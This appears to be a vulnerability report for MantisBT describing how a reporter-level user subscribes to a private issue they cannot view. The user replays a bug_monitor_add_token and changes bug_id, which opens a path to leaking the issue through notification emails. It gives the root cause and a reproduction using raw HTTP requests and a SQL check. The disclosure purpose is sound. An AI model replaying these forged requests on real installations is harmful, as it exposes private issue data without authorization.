| Description | A user with project-level access, but without permission to view a private issue, can add themselves as a monitor for that issue by replaying a valid bug_monitor_add_token from another issue and modifying the submitted bug_id. The application accepts the request and creates a monitor relationship for the private issue.
Direct access to the private issue remains blocked in the web UI. However, once added as a monitor, the user may receive notifications for updates to that issue. Based on the recipient-building logic, this creates a credible path to disclosure of private issue metadata and content through email notifications.
Affected Components
- bug_monitor_add.php
- MonitorAddCommand.php:94
- notification recipient handling in email_api.php:320
Root Cause
- The monitor-add flow validates permission using access_has_project_level() rather than a bug-level visibility check. As a result, the action is authorized based on project membership and threshold alone, without enforcing access to the specific private issue. The private issue visibility gate present in access_api.php:527 is not applied in this path.
|
|---|
| Additional Information |
- Configure issue 1 as private and assign ownership to administrator.
- Log in as reporter.
- Confirm that reporter cannot access the private issue:
GET /view.php?id=1 HTTP/1.1
Host: 127.0.0.1:8082
Cookie: MANTIS_STRING_COOKIE=...; PHPSESSID=...; MANTIS_secure_session=1
Observed response:
HTTP/1.1 403 Forbidden
- Open another issue visible to reporter, for example issue 3, and extract the monitor action token from the page:
<form method="post" action="bug_monitor_add.php" class="form-inline">
<fieldset>
<input type="hidden" name="bug_monitor_add_token" value="20260316WZvW4rsIbiF4SP8NXfTLwbmyxN8Ji-0C">
<input type="hidden" name="bug_id" value="3" />
</fieldset>
</form>
- Reuse that token in a forged request, changing bug_id from 3 to 1:
POST /bug_monitor_add.php HTTP/1.1
Host: 127.0.0.1:8082
Cookie: MANTIS_STRING_COOKIE=...; PHPSESSID=...; MANTIS_secure_session=1
Content-Type: application/x-www-form-urlencoded
bug_monitor_add_token=20260316WZvW4rsIbiF4SP8NXfTLwbmyxN8Ji-0C&bug_id=1
Observed response:
HTTP/1.1 302 Found
Location: http://127.0.0.1:8082/view.php?id=1
- Verify that the monitor record was inserted:
select bug_id, user_id
from mantis_bug_monitor_table
where bug_id = 1;
|
|---|
